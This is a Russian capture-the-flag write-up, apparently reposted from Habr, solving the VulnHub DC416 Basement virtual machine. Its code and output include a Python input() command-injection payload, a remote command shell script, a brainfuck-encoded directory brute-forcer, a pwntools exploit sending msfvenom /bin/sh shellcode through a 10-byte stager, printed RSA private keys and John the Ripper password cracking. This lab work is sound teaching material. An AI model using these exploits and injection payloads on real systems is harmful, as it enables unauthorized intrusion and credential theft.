- PVSM.RU - https://www.pvsm.ru -
Продолжаем разбор CTF с конференции DefCon Toronto's [1]. Задания предоставлены командой VulnHub [2], за что им огромное спасибо. А мы рассмотрим DC416 Basement [3].
Ниже, вы можете ознакомиться с предыдущим райтапом:
Запускаем виртуалку, и переходим к поиску открытых портов:
$ sudo arp-scan -l -I wlan0 | grep "CADMUS COMPUTER SYSTEMS" | awk '{print $1}' | xargs sudo nmap -sV -p1-65535
Nmap scan report for 192.168.1.221
Host is up (0.00086s latency).
Not shown: 65529 closed ports
PORT STATE SERVICE
22/tcp open ssh OpenSSH 6.7p1 Debian 5+deb8u3 (protocol 2.0)
80/tcp open http Apache httpd 2.4.10 ((Debian))
8080/tcp open http-proxy ------[-->+++<]>.[->+++<]>.---.++++.
8090/tcp open unknown
10000/tcp open snet-sensor-mgmt
10001/tcp open tcpwrapped
MAC Address: 08:00:27:DF:F5:5E (Oracle VirtualBox virtual NIC)
Сканирование директорий результата не принесло:
$ sudo dirsearch -u http://192.168.1.221 -w /usr/share/dirb/wordlists/big.txt -e php,txt,bak,jpg,json,html -r -f
$ nc 192.168.1.221 10000
Отлично, судя по всему это Python2, с его замечательной функцией input. Попробуем выполнить свой код и посмотреть содержимое текущей директории:
$ nc 192.168.1.221 10000
Please enther number of packets: __import__('os').system('ls')
flag.txt ping.py run_ping.sh
PING localhost (127.0.0.1) 56(84) bytes of data
Для дальнейшего удобства, организуем себе небольшой шелл на Python:
#!/usr/bin/python3
import socket
from time import sleep
host = '192.168.1.221'
port = 10000
def connect(data):
s = socket.socket()
s.connect((host, port))
s.recv(1024)
s.send(('%sn' % data).encode())
sleep(0.5)
req = s.recv(4096)
print(req.decode())
cmd = ''
while cmd != 'q':
cmd = input('> ')
connect("__import__('os').system('%s')" % cmd)
Осмотревшись в системе берём первый флаг из домашней директории пользователя:
> cat ./flag.txt
flag{j4cks_t0t4L_l4cK_0f_$uRpr1sE}
Плюс находим странный файл, в директории .secret:
> ls -ahl
.....
drwx------ 2 jack jack 4.0K Nov 21 16:53 .secret
> ls -ahl .secret
-rw------- 1 jack jack 2.0K Nov 21 16:53 marla.xip
Файл по видимому для Mac OS, поэтому оставим его пока.
При сканировании 8090 порта nmap определил там неизвестный веб сервис, посмотрим что там:
$ curl http://192.168.1.221:8090
<!DOCTYPE html>
<html><head><title>Moved</title></head><body>
You should be <a href="http://localhost/flag.mpg">redirected</a>.
</body></html>
После запуска wget началась бесконечная загрузка, вероятно видео отправляется зацикленным потоком. Прервав загрузку и запустив его слышим роботизированный женский голос, который надиктовывает нам следующую последовательность:
102 108 97 103 123 98 82 52 105 110 95 112 97 82 97 115 49 116 101 36 125
Затем сообщает что это флаг и начинает сначала. Воспользовавшись сайтом [5], конвертируем это в текст и получаем очередной флаг:
flag{bR4in_paRas1te$}
Порт 8080. Вероятно это тоже веб сервис, просмотрев лог команды ps:
tyler 1319 0.0 0.1 4080 636? S 11:49 0:00 /home/tyler/tiny 8080
Узнаём пользователя, которому он принадлежит, а так же то, что вероятно корневой директорией является директория пользователя. Открыв его в curl, получаем ASCII изображение и довольно странный заголовок сервера:
$ curl http://192.168.1.221:8080/ -vv
* Hostname was NOT found in DNS cache * Trying 192.168.1.221... * Connected to 192.168.1.221 (192.168.1.221) port 8080 (#0) > GET / HTTP/1.1 > User-Agent: curl/7.35.0 > Host: 192.168.1.221:8080 > Accept: */* > < HTTP/1.1 200 OK * Server ------[-->+++<]>.[->+++<]>.---.++++. is not blacklisted < Server: ------[-->+++<]>.[->+++<]>.---.++++. < Content-length: 36246 < Content-type: text/html
Очень похоже на brainfuck. После декодирования например тут [6] получаем строку: webf
Сканирование директорий результата снова не принесло, после долгих попыток, выполнив подключение к этому порту через netcat, кое-что стало проясняться:
$ nc 192.168.1.221 8080
123 HTTP/1.1 501 Not Implemented Content-type: text/html <html><title>Error</title><body bgcolor=ffffff> 501: Not Implemented <p>+[------->++<]>.+.+++++.[---->+<]>+++.++[->+++<]>.+++++++++.++++++.-------.----------.: 123 <hr><em>------[-->+++<]>.[->+++<]>.---.++++.</em>
В ответ мы снова получили ответ на brainfuck, видимо этот сервер только на нём и работает. Ситуация ещё осложнена тем, что после каждого неудачного запроса, сервер крашится. Ниже представлена попытка реализовать брут директорий:
#!/usr/bin/python3
import socket
import sys
import re
from time import sleep
def char2bf(char):
result_code = ""
ascii_value = ord(char)
factor = ascii_value / 10
remaining = ascii_value % 10
result_code += "{}".format("+" * 10)
result_code += "["
result_code += ">"
result_code += "{}".format("+" * int(factor))
result_code += "<"
result_code += "-"
result_code += "]"
result_code += ">"
result_code += "{}".format("+" * remaining)
result_code += "."
result_code += "[-]"
return result_code
def str2bf(string):
result = ""
for char in string:
result += char2bf(char)
return result
def connect(file):
host = '192.168.1.221'
port = 8080
req = 'GET %s HTTP/1.0nn' % (str2bf(file))
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
s.connect((host, port))
s.send(req.encode())
sleep(1)
data = s.recv(90480)
s.close()
except:
s.close()
return 500
data = data.decode()
if 'HTTP/1.1 404 Not Found' in data: pass
elif 'HTTP/1.1 200 OK' in data:
print('File %s found' % file)
print(data)
wlist = open(sys.argv[1]).read().splitlines()
for item in wlist:
if connect(item.strip()) == 500:
print('Item %s not found' % item)
sleep(500)
Накидав небольшой словарь, с возможным содержимым пользовательской директории, можно запускать и идти пить чай:
$ ./brainfuck.py test
Однако спустя некоторое время, в логе, замечаем ssh ключ пользователя tyler
-----BEGIN RSA PRIVATE KEY-----
MIIEowIBAAKCAQEApTSRfQBEqWjDTZZp0YHpOzDQ8zmo2NvTguHworeU9Yk26Zez
R3HtoKL99hRwJrqsRzeDb2OaZcnFgHAK95zEibHRJzXbWTJ8hq+lLri8gNM62WVf
mMe5Jd5QWkrmskUxSX0mlj3faJwtDphYmWUUbn3CN1eDI7ePqoAcWpMFeqQYXe/5
HaPrKZxe6WCQsgFcj3zIz+U9Qidz8x/ZKYDCFJ+aLuoo3HUB+EHT9abirjLKbHvM
BcstMNt23GD3KF549M2d5i5YC7o6LD8yBwifIIS2g3wNRfOsplrY/DEacILqaI7p
xM3EpIahPt/Vn3/DylVNyHoXP/hbXLtgoZwYAwIDAQABAoIBAAedhbtaYM/iWWZh
MZ2LvIGS/X7IwKTGdViKK7qEdeRfn91itcvsT4ThHo3SYV0Xq8tYnsFquPpKM8V4
5LiHTHQAc2C4VdUlw6G9xQKDV4Ukt4i/6Ik1Y66AMfoHi9zZ3azCjR3N2leLI3SR
xzvC8g8p0uMUMKJb2s6EO0pdjpoZlV/6JbcckushCQIJieHr00pq/w1fcY438DoR
OnPfGeJgkQQgfJ8W77CDNRtECpP8WBsr4hDJZXq3ink2BDZRYwO8o/nOuEGOKlAp
34j7ks5M/LOcKVskdIzz2vCc0OvtyNQ0Fk/e1INbkbwvhKUgF9t4dCBC9wF4YKx7
lBK4eAECgYEA1ntOisRF9D3+7EBN3pCQ2SssXFpmdnYjdzX2aETfcnSzU52ODRGw
p5BFkZBhnPz/as7BrvufRGSM76eBHzUaRA4mNEe2EX49PsGtr+ONo2jIU6Ee19WP
0sn+iINdw9JOK9Rma7WlYdaJuEs4DRzO3LX9cn5P4IUgBUaUOv3RFAMCgYEAxS9c
ZNYUfgV29tlUHzyqdSKIDt/jB7yNDyCGBJYy1KBO9vAkM44haqNln6eGXaveXxBh
n+gRG+MD8NBUv8VfCoU7ZKqHWpzgDfJOa3DBFM+8IcDRj1KT1weg4NRdlsmz4A1X
/Os3RIlXZ5MHuTPnpXFcjS70oqbmDU571w9zrAECgYAQLHA5yp8z0dD9Y8P7eo9R
sQ3BURfU6we1n54bMsZezSoQrhreJW1a1WhJl8eknPdtyHWWimbyM1rlX44/GjQG
2cJLwvSZ0RkxOE2uq8wsfGRO2iGHSRV1YcIN7UoO0DcQ2w12JdZ40ELGYPWzF28J
+bdJAPlpBuDpRO88m5M+nQKBgGoXglGqsVngnNJRuiYYYOonCyddpGwcMZUK/bBo
E689FV9dc0zd0vLqORo+a1foyftB+BSuKs5jRVKC9KY9jlY9uuf9rFe/gfle/nxm
LSyCXImYkefYGT0fmJp/CF/B5GrPIyEseQ8CCinq/MPTvnXQWWiI9AyzWaGdMZpT
cPwBAoGBAIAULQyYmeipsRQvKUMCjVFPIpv2IXxnFTnaiJ1kbPOuN7MuagRD1ZDf
FmPq8mIDg2oCKIq0/iOsmGmLaPXJADXAOXFWjDmWTHt7RKBvxOT6fNfCqEW29wkG
6XOdjh0Q6lKwxyOuFamIaEmCgoq7Ez7aRwgzf5KzIrw/vV3reIzI
-----END RSA PRIVATE KEY-----
Пробуем авторизоваться, и находим следующий флаг:
$ ssh -i /tmp/id_rsa tyler@192.168.1.221
У нас остался порт 10001. Из лога ps видно, что на этом порту висит сервис «10байтов»
robert 1331 0.0 0.5 19644 2748? S 11:50 0:00 socat TCP-LISTEN:10001,reuseaddr,fork,range=127.0.0.1/32 EXEC:./tenbytes,pty,stderr,echo=0
Но при подключении из вне, ничего не происходит. Прокинем себе ssh-туннель на атакуемый хост:
$ ssh -i /tmp/id_rsa -L 10001:127.0.0.1:10001 -N tyler@192.168.1.221
И так, при подключении, нас просят ввести 10 байт для запуска:
$ nc 127.0.0.1 10001
Tee hee! Gimme ten bytes to run!
Если предположить, что скорее всего чтение происходит функцией read, в некий буфер, который затем исполняется через call. То всё более менее понятно. Нужно отправить некий код размером 10 байт. Который потом как-то запустит шелл. Посмотрев как выглядит вызов функции read, например на этом [7] сайте. Можно заметить, что размер буфера для чтения, передаётся через регистр EDX. Мы можем попытаться увеличить значение EDX, тем самым увеличив буфер для чтения, затем снова вызвать функцию read, с новым буфером, и уже туда передать наш шелл код. Для написания эксплоита воспользуемся фреймворком pwntools [8].
Подготовим шелл:
$ sudo msfvenom -p linux/x64/exec cmd=/bin/sh -f py -v shell
shell = ""
shell += "x6ax3bx58x99x48xbbx2fx62x69x6ex2fx73x68"
shell += "x00x53x48x89xe7x68x2dx63x00x00x48x89xe6"
shell += "x52xe8x08x00x00x00x2fx62x69x6ex2fx73x68"
shell += "x00x56x57x48x89xe6x0fx05"
Теперь непосредственно код, который мы будем отсылать для изменения EDX:
def gen_payload(offset):
payload = ""
payload += "x01xd2" # add edx, edx
payload += "x5f" # pop rdi
payload += "x48x83xef" + chr(offset) # sub rdi, offset
payload += "xffxe7" # jmp rdi
payload = payload.ljust(10, "x90")
return payload
Немного поясню что здесь происходит:
Изначально я пробовал в EDX поместить любое значение больше отсылаемого шелла, но это не сработало, поэтому я попробовал ещё подобрать и EDX. Окончательный вариант скрипта представлен ниже:
#!/usr/bin/env python2
from pwn import *
context(bits = 64,
os = 'linux',
aslr = True,
)
port = 10001
host = '127.0.0.1'
def encode_payload(p):
return ''.join(['\x%0.2x' % c for c in bytearray(p)])
def gen_payload(offset):
payload = ""
payload += "x01xd2" # add edx, edx
payload += "x5f" # pop rdi
payload += "x48x83xef" + chr(offset) # sub rdi, offset
payload += "xffxe7" # jmp rdi
payload = payload.ljust(10, "x90")
return payload
isEdxValid = False
validEdx = 80 # len(shell)==48
while isEdxValid == False:
offset = 0
while offset <= 255:
try:
log.info('Current offset is %d' % offset)
p = remote(host, port)
payload = gen_payload(offset)
log.info( 'Payload: %s' % (encode_payload(payload)) )
p.recvline()
EDX = 0x0a
while EDX < validEdx:
p.send(payload)
EDX += EDX
log.info('EDX now is %d' % EDX)
shell = ""
shell += "x6ax3bx58x99x48xbbx2fx62x69x6ex2fx73x68"
shell += "x00x53x48x89xe7x68x2dx63x00x00x48x89xe6"
shell += "x52xe8x08x00x00x00x2fx62x69x6ex2fx73x68"
shell += "x00x56x57x48x89xe6x0fx05"
log.info('Sending shellcode')
p.send(shell)
# check for no tty message
p.sendline()
output = p.recvline(timeout=0.5)
if output and 'tty' in output:
log.success('Found offset!!! %d' % offset)
isEdxValid = True
break
if offset == 255:
log.error('No valid offset found!')
isEdxValid = False
count += 1
p.close()
except EOFError:
log.warning('Error on offset %d' % offset)
p.close()
finally:
offset += 1
validEdx += validEdx
p.interactive()
После запуска, начинается перебор смещений, и увеличение количества считываемых функцией read байт. Спустя некоторое время нужные параметры найдены, и мы получаем доступ к оболочке, от пользователя robert, а вместе с ним и его флаг:
Ниже представлен дизассемблированный листинг функции main из приложения tenbytes:
.text:0000000000400626 main proc near ; DATA XREF: start
.text:0000000000400626
.text:0000000000400626 var_30 = qword ptr -30h
.text:0000000000400626 var_24 = dword ptr -24h
.text:0000000000400626 var_18 = qword ptr -18h
.text:0000000000400626 var_10 = qword ptr -10h
.text:0000000000400626 buf = qword ptr -8
.text:0000000000400626
.text:0000000000400626 push rbp
.text:0000000000400627 mov rbp, rsp
.text:000000000040062A sub rsp, 30h
.text:000000000040062E mov [rbp+var_24], edi
.text:0000000000400631 mov [rbp-48], rsi
.text:0000000000400635 mov edi, offset s ; "Tee hee! Gimme ten bytes to run!"
.text:000000000040063A call _puts
.text:000000000040063F mov r9d, 0 ; offset
.text:0000000000400645 mov r8d, 0FFFFFFFFh ; fd
.text:000000000040064B mov ecx, 98 ; flags
.text:0000000000400650 mov edx, 7 ; prot
.text:0000000000400655 mov esi, 4096 ; len
.text:000000000040065A mov edi, 0 ; addr
.text:000000000040065F call _mmap
.text:0000000000400664 mov [rbp+buf], rax
.text:0000000000400668 mov rax, [rbp+buf]
.text:000000000040066C mov edx, 0Ah ; nbytes
.text:0000000000400671 mov rsi, rax ; buf
.text:0000000000400674 mov edi, 0 ; fd
.text:0000000000400679 mov eax, 0
.text:000000000040067E call _read
.text:0000000000400683 mov rax, [rbp+buf]
.text:0000000000400687 mov [rbp+var_10], rax
.text:000000000040068B mov rax, [rbp+var_10]
.text:000000000040068F mov [rbp+var_18], rax
.text:0000000000400693 mov rax, [rbp+var_18]
.text:0000000000400697 call rax
.text:0000000000400699 mov rax, [rbp+buf]
.text:000000000040069D mov esi, 4096 ; len
.text:00000000004006A2 mov rdi, rax ; addr
.text:00000000004006A5 call _munmap
.text:00000000004006AA mov edi, 0 ; status
.text:00000000004006AF call _exit
.text:00000000004006AF main endp
У нас остался файл marla.xip. Расширение файла очень похоже на zip, но стандартными способами открыть его невозможно. Попробуем его поксорить и посмотрим что из этого выйдет, используя xortool [9]:
$ xortool marla.xip -b
Что-то нашлось, теперь отфильтруем результат:
$ file xortool_out/* | grep Zip
xortool_out/000.out: Zip archive data
Архив найден, посмотрим что в нём:
$ 7z l xortool_out/000.out
Судя по всему это приватный ssh ключ пользователя marla. Однако просто так его достать не получится, архив ещё и запаролен. Компилируем John The Ripper, как это описано тут [10]. Извлекаем хеш:
$ ./zip2john /tmp/marla.zip > /tmp/marla.zip.john
И после запуска получаем искомый пароль:
$ ./john /tmp/marla.zip.john
Loaded 1 password hash (ZIP, WinZip [PBKDF2-SHA1 8x SSE2])
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
m4rl4 (marla.zip)
1g 0:00:00:00 DONE 1/3 (2017-01-08 23:56) 1.219g/s 3219p/s 3219c/s 3219C/s m4rl4.zip..mar1a.zipzip
Use the "--show" option to display all of the cracked passwords reliably
Session completed
Отлично, пароль от архива есть. Но и это не всё, если взглянуть на файл, в котором расположен приватный ключ:
-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: AES-128-CBC,4A3641AA61921099DAB3E32222AE8221k8zDFT8UXhpb7Dn+KzYv6mYuAI0vF25s/zFpuvtm31FtTwOAzqz+ukei2DR+r4Zb
QKGV5EPf0ymcx6Nh4X700eRa555hFDrWMRwLAy7bTkYK5MbLY3On7BqBnmpbs/bd
Pd/VpmvMtUnl8YcMF756NLt0sgqwWbf8DGFUcJZTGEsZhwTL86cCYyFbbdOHijzY
Wi+OjgVBxw62VrdEn8HHA0Hks72LRGAsXLJ4ReT6nm/6H88idKHtnc1CXGzUtEwR
E7/Bzzqn/P1rTrnPp/adV4oAC+Q86Sdy5RHuH35KC6c6WgpFRprqeWeLdf6aBBF0
yadmGUu4PrWP7iYd7Bc4k2Czlr0pk1x0GjqedjFYmPWypllfZvMriQa6QhYkKlGl
ecEm8Usrok54u8jX1VZtdRu1+6gNPZcw8FOK1GTks2L9ywvWoSNOGr5LFBDBYufq
SNNUQq0cEyAl3KaPT5vPyEcrqAa7NKmIl5uImECPG93iIsfOt3P4ujVwWuT3p100
KHnHEybuZXTBRUPmHoE+wXvFyLAWzHG8d6cy18FzGEyogUbs+d5GmdFjsyaaLeES
8AtkGrWrUAgo/NDpbVdHoLmwjzvxlDkk+Uk3/KN5qjFKajbav9EoMJNeCac1Ax0i
KHiSvyPtifWu9Mj8IYq6zIVVFoVPc4swDrqxsNkwA8uAXLCIBk/lHOBryIPVmsOd
4gWhae23ul+HC5gHwlXUfq5Zrljhqpw9D50veSizqdtwmWgvs1crkddXbTwUSvrb
kZHQoY2PqfJPmF3TNt5RQvwNIaOMospy29niKk/qICaZ1t9KUyMdfNmyVzHGnJPz
Ae6pdfCsgoymkO1zd4TVaGTRH2tt0ZRXECHPTG/5i8IRJGB4hlTJ4z0QNcVPQGdF
sI9GuUuRzaIpVbbxf50OG5qWfVRJR2lWwfvIEgmfvKQs9qJBq4X05NeagWoDKhrH
/90k1S3GI5rw9RyjzD1I4k1li+PjyWs+wZAEn39Hqlxuk+gMWuKCr6Wel/dV3exU
XlkGJLJo1SUK1Uh2Z6CeSwdSVMf2j21pMbeaw8U9RQund9EOwln8JDKtdQXYW9ba
SE/hUpvlNHPG/90Tp2JQCkk/MinwV4IGev7mn9piltL8Q7qcU1o9TpAxtdonyaYI
UYnzpv+g/0fhKnycwRttVukt7Mtgvr0SMCXcImMjdnDpVxbrbEWtLgFsZayg+SzQ
/03KMOA9AVoo48ZlLa+oERqeedXDBqmKkNJwIsBcYEywHl6NlEHCZk2S/lcr+ra9
im+l2nua3IvYYIRnWHWoLs0D+Hi/PvQHmj3e2YBeIZMYGPHk8XQ17cofwqU7VDr7
x6nP22au0LGKTj4+E46r1hEWs9C0X8AMJjfShb+CyN/imo/3a3bJiazE1F5IpKlY
5UejDh7GCcxnvmjXlY4q+7DeJlz5VSjKjfR5V0b5mkcLEI18c2sBkTVdMVzzBGQO
kTNSGJSOrF5el9+wlpLY4E8loocJpzH3P3uu+fOwHtNiul5RAlotfJnJd9lYea5k
W581cgXIWgN6actoiIGZXlHKB5Zsdb3GdmmG0Lb50lsL4GH8MIKDKdumUKSwrT20
-----END RSA PRIVATE KEY-----
То видно, что на нём установлена парольная фраза. Но и это не проблема, извлекаем её, и отправляем John'у:
$ ./john-1.8.0-jumbo-1/run/ssh2john marla > marla.ssh
$ sudo ./john-1.8.0-jumbo-1/run/john marla.ssh
Loaded 1 password hash (SSH [RSA/DSA 32/32])
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
singer (marla)
1g 0:00:00:00 DONE 2/3 (2017-01-09 01:11) 1.086g/s 2165p/s 2165c/s 2165C/s rangers..88888888
Use the "--show" option to display all of the cracked passwords reliably
Session completed
Имея всё необходимое, авторизуемся по ssh и забираем последний ключ:
$ ssh -i marla marla@192.168.1.221
Enter passphrase for key 'marla':
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
well done! your flag is flag{l4y3rs_up0n_l4y3rs}
Connection to 192.168.1.221 closed.
Все ключи собраны. Вызов завершён! Можно переходить к следующим образам виртуальных машин из серии DC416.
Автор: GH0st3rs
Источник [11]
Сайт-источник PVSM.RU: https://www.pvsm.ru
Путь до страницы источника: https://www.pvsm.ru/vulnerability/231345
Ссылки в тексте:
[1] DefCon Toronto's: https://dc416.com/
[2] VulnHub: https://www.vulnhub.com/
[3] DC416 Basement: https://www.vulnhub.com/entry/dc416-2016,168/
[4] DC416 Dick Dastardly: https://habrahabr.ru/post/318372/
[5] сайтом: https://www.branah.com/ascii-converter
[6] тут: https://sange.fi/esoteric/brainfuck/impl/interp/i.html
[7] этом: http://syscalls.kernelgrok.com/
[8] pwntools: https://github.com/Gallopsled/pwntools
[9] xortool: https://github.com/hellman/xortool
[10] тут: http://www.bytebang.at/Blog/Crack+(ZIP)+passwords+with+John+the+Ripper
[11] Источник: https://habrahabr.ru/post/318998/?utm_source=habrahabr&utm_medium=rss&utm_campaign=best
Нажмите здесь для печати.